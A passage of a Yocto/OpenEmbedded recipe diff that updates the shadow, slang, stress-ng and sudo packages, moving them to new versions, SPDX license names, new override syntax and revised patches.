- -- prefix = process_prefix_flag("-P", argc, argv); -+ prefix = process_prefix_flag("-A", argc, argv); - - OPENLOG ("useradd"); - #ifdef WITH_AUDIT -diff --git a/src/usermod.c b/src/usermod.c -index 21c6da9..cffdb3e 100644 ---- a/src/usermod.c -+++ b/src/usermod.c -@@ -431,8 +431,9 @@ static /*@noreturn@*/void usage (int status) - " new location (use only with -d)\n"), usageout); - (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout); - (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout); -+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout); - (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout); -- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); -+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout); - (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout); - (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout); - (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout); -@@ -1010,8 +1011,9 @@ static void process_flags (int argc, char **argv) - {"move-home", no_argument, NULL, 'm'}, - {"non-unique", no_argument, NULL, 'o'}, - {"password", required_argument, NULL, 'p'}, -+ {"clear-password", required_argument, NULL, 'P'}, - {"root", required_argument, NULL, 'R'}, -- {"prefix", required_argument, NULL, 'P'}, -+ {"prefix", required_argument, NULL, 'A'}, - {"shell", required_argument, NULL, 's'}, - {"uid", required_argument, NULL, 'u'}, - {"unlock", no_argument, NULL, 'U'}, -@@ -1027,7 +1029,7 @@ static void process_flags (int argc, char **argv) - {NULL, 0, NULL, '\0'} - }; - while ((c = getopt_long (argc, argv, -- "abc:d:e:f:g:G:hl:Lmop:R:s:u:UP:" -+ "abc:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:" - #ifdef ENABLE_SUBIDS - "v:w:V:W:" - #endif /* ENABLE_SUBIDS */ -@@ -1130,9 +1132,17 @@ static void process_flags (int argc, char **argv) - user_pass = optarg; - pflg = true; - break; -+ case 'P': -+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL)); -+ pflg = true; -+ break; - case 'R': /* no-op, handled in process_root_flag () */ - break; -- case 'P': /* no-op, handled in process_prefix_flag () */ -+ case 'A': /* no-op, handled in process_prefix_flag () */ -+ fprintf (stderr, -+ _("%s: -A is deliberately not supported \n"), -+ Prog); -+ exit (E_BAD_ARG); - break; - case 's': - if (!VALID (optarg)) { -@@ -2127,7 +2137,7 @@ int main (int argc, char **argv) - (void) textdomain (PACKAGE); - - process_root_flag ("-R", argc, argv); -- prefix = process_prefix_flag ("-P", argc, argv); -+ prefix = process_prefix_flag ("-A", argc, argv); - - OPENLOG ("usermod"); - #ifdef WITH_AUDIT diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch index 9825216369..173e8a937d 100644 --- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch +++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch @@ -1,4 +1,4 @@ -From 66533c7c6f347d257020675a1ed6e0c59cbbc3f0 Mon Sep 17 00:00:00 2001 +From d767f776e631f1493fd7b266f2026d630ecf70fe Mon Sep 17 00:00:00 2001 From: Chen Qi <Qi.Chen@windriver.com> Date: Thu, 17 Jul 2014 15:53:34 +0800 Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env @@ -21,10 +21,10 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com> 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/lib/commonio.c b/lib/commonio.c -index 16fa7e7..d6bc297 100644 +index 9e0fde6..7c3a1da 100644 --- a/lib/commonio.c +++ b/lib/commonio.c -@@ -632,10 +632,18 @@ int commonio_open (struct commonio_db *db, int mode) +@@ -624,10 +624,18 @@ int commonio_open (struct commonio_db *db, int mode) db->cursor = NULL; db->changed = false; diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd new file mode 100644 index 0000000000..782aeef418 --- /dev/null +++ b/meta/recipes-extended/shadow/files/useradd @@ -0,0 +1,8 @@ +# useradd defaults file +GROUP=100 +HOME=/home +INACTIVE=-1 +EXPIRE= +SHELL=/bin/sh +SKEL=/etc/skel +CREATE_MAIL_SPOOL=no diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb index a8c1539c92..e05fa237a2 100644 --- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb +++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb @@ -2,7 +2,7 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass" HOMEPAGE = "http://github.com/shadow-maint/shadow" BUGTRACKER = "http://github.com/shadow-maint/shadow/issues" SECTION = "base utils" -LICENSE = "BSD | Artistic-1.0" +LICENSE = "BSD-3-Clause | Artistic-1.0" LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5" DEPENDS = "base-passwd" @@ -27,3 +27,5 @@ SYSROOT_DIRS += "${sysconfdir}" # otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot # and this has another copy of /etc/login.defs already provided by shadow PACKAGES = "" + +inherit nopackages diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc index f86e5e03c0..f5fdf436f7 100644 --- a/meta/recipes-extended/shadow/shadow.inc +++ b/meta/recipes-extended/shadow/shadow.inc @@ -1,36 +1,37 @@ SUMMARY = "Tools to change and administer password and group data" HOMEPAGE = "http://github.com/shadow-maint/shadow" +DESCRIPTION = "${SUMMARY}" BUGTRACKER = "http://github.com/shadow-maint/shadow/issues" SECTION = "base/utils" -LICENSE = "BSD | Artistic-1.0" -LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \ - file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af" +LICENSE = "BSD-3-Clause" +LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \ + file://src/passwd.c;beginline=2;endline=30;md5=758c26751513b6795395275969dd3be1 \ + " DEPENDS = "virtual/crypt" UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases" -SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \ +SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/v${PV}/${BP}.tar.gz \ file://shadow-4.1.3-dots-in-usernames.patch \ ${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \ file://shadow-relaxed-usernames.patch \ + file://useradd \ " -SRC_URI_append_class-target = " \ +SRC_URI:append:class-target = " \ file://login_defs_pam.sed \ file://shadow-update-pam-conf.patch \ " -SRC_URI_append_class-native = " \ +SRC_URI:append:class-native = " \ file://0001-Disable-use-of-syslog-for-sysroot.patch \ - file://0002-Allow-for-setting-password-in-clear-text.patch \ file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \ " -SRC_URI_append_class-nativesdk = " \ +SRC_URI:append:class-nativesdk = " \ file://0001-Disable-use-of-syslog-for-sysroot.patch \ " -SRC_URI[md5sum] = "3d97f11e66bfb0b14702b115fa8be480" -SRC_URI[sha256sum] = "3ee3081fbbcbcfea5c8916419e46bc724807bab271072104f23e7a29e9668f3a" +SRC_URI[sha256sum] = "f262089be6a1011d50ec7849e14571b7b2e788334368f3dccb718513f17935ed" # Additional Policy files for PAM PAM_SRC_URI = "file://pam.d/chfn \ @@ -45,18 +46,16 @@ inherit autotools gettext export CONFIG_SHELL="/bin/sh" -EXTRA_OECONF += "--without-audit \ - --without-libcrack \ - --without-selinux \ +EXTRA_OECONF += "--without-libcrack \ --with-group-name-max-length=24 \ --enable-subordinate-ids=yes \ --without-sssd \ ${NSCDOPT}" NSCDOPT = "" -NSCDOPT_class-native = "--without-nscd" -NSCDOPT_class-nativesdk = "--without-nscd" -NSCDOPT_libc-glibc = "--with-nscd" +NSCDOPT:class-native = "--without-nscd" +NSCDOPT:class-nativesdk = "--without-nscd" +NSCDOPT:libc-glibc = "--with-nscd" PAM_PLUGINS = "libpam-runtime \ pam-plugin-faildelay \ @@ -71,19 +70,23 @@ PAM_PLUGINS = "libpam-runtime \ pam-plugin-shells \ pam-plugin-rootok" +PAM_PLUGINS:remove:libc-musl = "pam-plugin-lastlog" + PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}" -PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}" -PACKAGECONFIG_class-nativesdk = "" +PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}" +PACKAGECONFIG:class-nativesdk = "" PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}" PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr" PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl" +PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit" +PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage" -RDEPENDS_${PN} = "shadow-securetty \ +RDEPENDS:${PN} = "shadow-securetty \ base-passwd \ util-linux-sulogin" -RDEPENDS_${PN}_class-native = "" -RDEPENDS_${PN}_class-nativesdk = "" +RDEPENDS:${PN}:class-native = "" +RDEPENDS:${PN}:class-nativesdk = "" do_install() { oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install @@ -112,15 +115,11 @@ do_install() { # Use proper encryption for passwords sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs - # Now we don't have a mail system. Disable mail creation for now. - sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd - sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd - - # Use users group by default - sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd + install -d ${D}${sysconfdir}/default + install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default } -do_install_append() { +do_install:append() { # Ensure that the image has as a /var/spool/mail dir so shadow can # put mailboxes there if the user reconfigures shadow to its # defaults (see sed below). @@ -153,7 +152,7 @@ do_install_append() { } PACKAGES =+ "${PN}-base" -FILES_${PN}-base = "\ +FILES:${PN}-base = "\ ${base_bindir}/login.shadow \ ${base_bindir}/su.shadow \ ${bindir}/sg \ @@ -163,31 +162,26 @@ FILES_${PN}-base = "\ ${sysconfdir}/pam.d/su \ ${sysconfdir}/login.defs \ " -RDEPENDS_${PN} += "${PN}-base" +RDEPENDS:${PN} += "${PN}-base" inherit update-alternatives ALTERNATIVE_PRIORITY = "200" -ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin" +ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin" +ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn" +ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh" ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd" ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw" ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr" ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin" -ALTERNATIVE_${PN}-base = "newgrp groups login su" +ALTERNATIVE:${PN}-base = "newgrp groups login su" ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login" ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su" -ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8" -ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5" -ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3" -ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1" -ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1" -ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8" - PACKAGE_WRITE_DEPS += "shadow-native" -pkg_postinst_${PN}_class-target () { +pkg_postinst:${PN}:class-target () { if [ "x$D" != "x" ]; then rootarg="--root $D" else diff --git a/meta/recipes-extended/shadow/shadow_4.8.1.bb b/meta/recipes-extended/shadow/shadow_4.11.1.bb index c975395ff8..40b11345c9 100644 --- a/meta/recipes-extended/shadow/shadow_4.8.1.bb +++ b/meta/recipes-extended/shadow/shadow_4.11.1.bb @@ -2,9 +2,10 @@ require shadow.inc # Build falsely assumes that if --enable-libpam is set, we don't need to link against # libcrypt. This breaks chsh. -BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}" +BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}" BBCLASSEXTEND = "native nativesdk" - - +# Severity is low and marked as closed and won't fix. +# https://bugzilla.redhat.com/show_bug.cgi?id=884658 +CVE_CHECK_IGNORE += "CVE-2013-4235" diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch index 3e6d15aa79..3ca20a8cab 100644 --- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch +++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch @@ -2,7 +2,9 @@ Do not use the JD_TERMCAP macro since we cannot get the terminfo from ncurses pkg-config, but fix the macro to not reference host directories. Also add src/test/Makefile.in so that we can use -ltermcap if we want to. -Upstream-Status: Pending +Upstream isn't going to take this, as it forces blank values and +removes functionality without replacing it. +Upstream-Status: Inappropriate [see above] Signed-off-by: Joe Slater <joe.slater@windriver.com> diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.2.bb index 99efb16da6..08cc9670dc 100644 --- a/meta/recipes-extended/slang/slang_2.3.2.bb +++ b/meta/recipes-extended/slang/slang_2.3.2.bb @@ -11,7 +11,7 @@ HOMEPAGE = "http://www.jedsoft.org/slang/" SECTION = "libs" DEPENDS = "ncurses virtual/libiconv" -LICENSE = "GPLv2" +LICENSE = "GPL-2.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02" SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \ @@ -27,7 +27,7 @@ SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb" SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a" UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/" -PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n" +PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/" inherit autotools-brokensep ptest CLEANBROKEN = "1" @@ -42,7 +42,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng" PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib" -do_configure_prepend() { +do_configure:prepend() { cd ${S}/autoconf # slang keeps configure.ac and rest of autoconf files in autoconf/ directory # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac} @@ -74,9 +74,9 @@ do_install_ptest() { sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl } -FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/" +FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/" -RDEPENDS_${PN}-ptest += "make" +RDEPENDS:${PN}-ptest += "make" PARALLEL_MAKE = "" PARALLEL_MAKEINST = "" diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch deleted file mode 100644 index c860c717ac..0000000000 --- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch +++ /dev/null @@ -1,23 +0,0 @@ -From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Tue, 30 Jul 2019 18:38:03 +0200 -Subject: [PATCH] Do not preserve ownership when installing example jobs - -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - Makefile | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/Makefile b/Makefile -index f36e57e..20488af 100644 ---- a/Makefile -+++ b/Makefile -@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz - mkdir -p ${DESTDIR}${MANDIR} - cp stress-ng.1.gz ${DESTDIR}${MANDIR} - mkdir -p ${DESTDIR}${JOBDIR} -- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR} -+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR} - mkdir -p ${DESTDIR}${BASHDIR} - cp bash-completion/stress-ng ${DESTDIR}${BASHDIR} diff --git a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch b/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch deleted file mode 100644 index dba4494b91..0000000000 --- a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 55e11765af2bdc8adfac87dab1fb2682f7e6c236 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Tue, 9 Jun 2020 22:10:28 -0700 -Subject: [PATCH] Define daddr_t if __DADDR_T_TYPE is not defined - -glibc defined daddr_t but musl does not, ideally it should not be used -and simple int type is enough. However, its better to leave glibc behavior -as it is and only define it to int if daddr_t is not provided by libc - -Upstream-Status: Pending - -Signed-off-by: Khem Raj <raj.khem@gmail.com> - ---- - stress-ng.h | 4 ++++ - 1 file changed, 4 insertions(+) - -diff --git a/stress-ng.h b/stress-ng.h -index 1a66293..802dc25 100644 ---- a/stress-ng.h -+++ b/stress-ng.h -@@ -3763,6 +3763,10 @@ struct shim_statx { - uint64_t __spare2[14]; - }; - -+#ifndef __DADDR_T_TYPE -+typedef int daddr_t; -+#endif -+ - /* old ustat struct */ - struct shim_ustat { - #if defined(HAVE_DADDR_T) diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.11.14.bb b/meta/recipes-extended/stress-ng/stress-ng_0.11.14.bb deleted file mode 100644 index f1d91da2b4..0000000000 --- a/meta/recipes-extended/stress-ng/stress-ng_0.11.14.bb +++ /dev/null @@ -1,26 +0,0 @@ -SUMMARY = "System load testing utility" -DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \ -imposes a configurable amount of CPU, memory, I/O, and disk stress on the system." -HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/" -LICENSE = "GPLv2" -LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263" - -SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \ - file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \ - file://no_daddr_t.patch \ - " -SRC_URI[sha256sum] = "b21436fdbd9dc482a3fd95ae27cccf0097d0f226361ea3785215f7a4ad50136b" - -DEPENDS = "coreutils-native" - -PROVIDES = "stress" -RPROVIDES_${PN} = "stress" -RREPLACES_${PN} = "stress" -RCONFLICTS_${PN} = "stress" - -inherit bash-completion - -do_install() { - oe_runmake DESTDIR=${D} install -} - diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb b/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb new file mode 100644 index 0000000000..fe177a4de0 --- /dev/null +++ b/meta/recipes-extended/stress-ng/stress-ng_0.13.12.bb @@ -0,0 +1,24 @@ +SUMMARY = "System load testing utility" +DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \ +imposes a configurable amount of CPU, memory, I/O, and disk stress on the system." +HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme" +LICENSE = "GPL-2.0-only" +LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263" + +SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master" +SRCREV = "f59bcb2fe1e25042e77d5e4942f72bfa026fa305" +S = "${WORKDIR}/git" + +DEPENDS = "coreutils-native" + +PROVIDES = "stress" +RPROVIDES:${PN} = "stress" +RREPLACES:${PN} = "stress" +RCONFLICTS:${PN} = "stress" + +inherit bash-completion + +do_install() { + oe_runmake DESTDIR=${D} install + ln -s stress-ng ${D}${bindir}/stress +} diff --git a/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch new file mode 100644 index 0000000000..f63ed553be --- /dev/null +++ b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch @@ -0,0 +1,25 @@ +From f993c5c88faacc43971899aae2168ffb3e34dc80 Mon Sep 17 00:00:00 2001 +From: Alexander Kanavin <alex@linutronix.de> +Date: Fri, 24 Sep 2021 13:36:24 +0200 +Subject: [PATCH] lib/util/mksigname.c: correctly include header for out of + tree builds + +Upstream-Status: Submitted [https://github.com/sudo-project/sudo/pull/123] +Signed-off-by: Alexander Kanavin <alex@linutronix.de> +--- + lib/util/mksigname.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/lib/util/mksigname.c b/lib/util/mksigname.c +index de8b1ad..0a69e7e 100644 +--- a/lib/util/mksigname.c ++++ b/lib/util/mksigname.c +@@ -36,7 +36,7 @@ main(int argc, char *argv[]) + { + unsigned int i; + +-#include "mksigname.h" ++#include "lib/util/mksigname.h" + + printf("const char *const sudo_sys_signame[] = {\n"); + for (i = 0; i < nitems(sudo_sys_signame); i++) { diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch new file mode 100644 index 0000000000..f4fc376bb8 --- /dev/null +++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch @@ -0,0 +1,61 @@ +sudo.conf.in: fix conflict with multilib + +When pass ${libdir} to --libexecdir of sudo, it fails to install sudo +and lib32-sudo at same time: + +| Error: Transaction test error: +| file /etc/sudo.conf conflicts between attempted installs of + sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32 + +Update the comments in sudo.conf.in to avoid the conflict. + +Signed-off-by: Kai Kang <kai.kang@windriver.com> + +Upstream-Status: Inappropriate [OE configuration specific] +--- + examples/sudo.conf.in | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in +index 6535d3a..50afc8f 100644 +--- a/examples/sudo.conf.in ++++ b/examples/sudo.conf.in +@@ -4,7 +4,7 @@ + # Sudo plugins: + # Plugin plugin_name plugin_path plugin_options ... + # +-# The plugin_path is relative to @plugindir@ unless ++# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless + # fully qualified. + # The plugin_name corresponds to a global symbol in the plugin + # that contains the plugin interface structure. +@@ -51,7 +51,7 @@ + # The compiled-in value is usually sufficient and should only be changed + # if you rename or move the sudo_intercept.so file. + # +-#Path intercept @plugindir@/sudo_intercept.so ++#Path intercept $plugindir/sudo_intercept.so + + # + # Sudo noexec: +@@ -65,7 +65,7 @@ + # The compiled-in value is usually sufficient and should only be changed + # if you rename or move the sudo_noexec.so file. + # +-#Path noexec @plugindir@/sudo_noexec.so ++#Path noexec $plugindir/sudo_noexec.so + + # + # Sudo plugin directory: +@@ -74,7 +74,7 @@ + # The default directory to use when searching for plugins that are + # specified without a fully qualified path name. + # +-#Path plugin_dir @plugindir@ ++#Path plugin_dir $plugindir + + # + # Sudo developer mode: +-- +2.17.1 + diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc index 86a18be7e2..8947c46129 100644 --- a/meta/recipes-extended/sudo/sudo.inc +++ b/meta/recipes-extended/sudo/sudo.inc @@ -3,8 +3,8 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain HOMEPAGE = "http://www.sudo.ws" BUGTRACKER = "http://www.sudo.ws/bugs/" SECTION = "admin" -LICENSE = "ISC & BSD & Zlib" -LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=828cd502ad216ff869bf83adf3301e02 \ +LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib" +LIC_FILES_CHKSUM = "file://LICENSE.md;md5=16cf60b466f3a0606427a7b624a3a670 \ file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \ file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \ file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \ @@ -24,21 +24,17 @@ PACKAGECONFIG ??= "" PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib" PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel" -CONFFILES_${PN} = "${sysconfdir}/sudoers" - EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor" -EXTRA_OECONF_append_libc-musl = " --disable-hardening " +EXTRA_OECONF:append:libc-musl = " --disable-hardening " -# mksigname/mksiglist are used on build host to generate source files -do_compile_prepend () { - # Remove build host references from sudo_usage.h - sed -i \ - -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \ - -e 's,--build=${BUILD_SYS},,g' \ - -e 's,--host=${HOST_SYS},,g' \ - ${B}/src/sudo_usage.h - oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist +do_compile:prepend () { + # Remove build host references from sudo_usage.h + sed -i \ + -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \ + -e 's,--build=${BUILD_SYS},,g' \ + -e 's,--host=${HOST_SYS},,g' \ + ${B}/src/sudo_usage.h } # Explicitly create ${localstatedir}/lib before do_install to ensure @@ -46,6 +42,8 @@ do_compile_prepend () { # script (from sudo) will recursively create ${localstatedir}/lib/sudo # and then chmod each directory with 0700 permissions, which isn't what # we want (i.e, users would not be able to access /var/lib). -do_install_prepend (){ +do_install:prepend (){ mkdir -p ${D}/${localstatedir}/lib } + +CVE_VERSION_SUFFIX = "patch" diff --git a/meta/recipes-extended/sudo/sudo_1.9.1.bb b/meta/recipes-extended/sudo/sudo_1.9.10.bb index aac505af60..aa0d814ed7 100644 --- a/meta/recipes-extended/sudo/sudo_1.9.1.bb +++ b/meta/recipes-extended/sudo/sudo_1.9.10.bb @@ -2,14 +2,16 @@ require sudo.inc SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \ + file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \ + file://0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch \ " PAM_SRC_URI = "file://sudo.pam" -SRC_URI[sha256sum] = "294116cefe10a02773917fc7440d8384b925955bc96a6e0eaa1977c83b34adff" +SRC_URI[sha256sum] = "44a1461098e7c7b8e6ac597499c24fb2e43748c0c139a8b4944e57d1349a64f4" DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" -RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}" +RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}" CACHED_CONFIGUREVARS = " \ ac_cv_type_rsize_t=no \ @@ -22,10 +24,12 @@ CACHED_CONFIGUREVARS = " \ EXTRA_OECONF += " \ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \ + --with-rundir=/run/sudo \ --with-vardir=/var/lib/sudo \ + --libexecdir=${libdir} \ " -do_install_append () { +do_install:append () { if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo if ${@bb.utils.contains('PACKAGECONFIG', 